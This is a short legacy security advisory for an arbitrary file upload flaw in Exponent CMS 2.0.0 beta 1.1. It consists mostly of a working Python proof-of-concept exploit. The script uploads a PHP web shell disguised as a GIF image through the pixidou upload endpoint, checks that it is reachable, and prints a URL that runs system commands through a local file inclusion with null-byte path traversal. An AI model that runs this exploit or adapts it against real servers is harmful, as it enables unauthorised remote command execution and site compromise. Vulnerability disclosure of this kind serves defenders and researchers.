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Exponent 2.0.0 beta 1.1 Arbitrary Upload

Legacy Advisories

Description

An arbitrary upload vulnerability in Exponent 2.0.0 beta 1.1 can be exploited to upload a PHP shell.

Proof Of Concept

import socket

host = 'localhost'
path = '/exponent'
shell_path = path + '/framework/modules/pixidou/images/shell.gif'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)    

    s.send('POST ' + path + '/framework/modules/pixidou/upload.php HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Proxy-Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: 160\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Accept: text/html\r\n'
           'Accept-Encoding: gzip,deflate,sdch\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n'
           '------x\r\n'
           'Content-Disposition: form-data; name="uploadImage"; filename="shell.gif"\r\n'
           'Content-Type: image/gif\r\n'
           '\r\n'
           '<?php echo system($_GET["CMD"]); ?>\r\n'
           '------x--\r\n'
           '\r\n')

    resp = s.recv(8192)

    http_ok = 'HTTP/1.1 200 OK'
    
    if http_ok not in resp[:len(http_ok)]:
        print 'error uploading shell'
        return
    else: print 'shell uploaded'

    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
           'Host: ' + host + '\r\n\r\n')

    if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'        
    else:
        print 'shell located at http://' + host + shell_path
        print '\nexploit using lfi e.g. http://localhost/exponent/content_selector.php?controller=..%2f..%2fexponent%2fframework%2fmodules%2fpixidou%2fimages%2fshell.gif%00&section=&action=&CMD=calc'

upload_shell()


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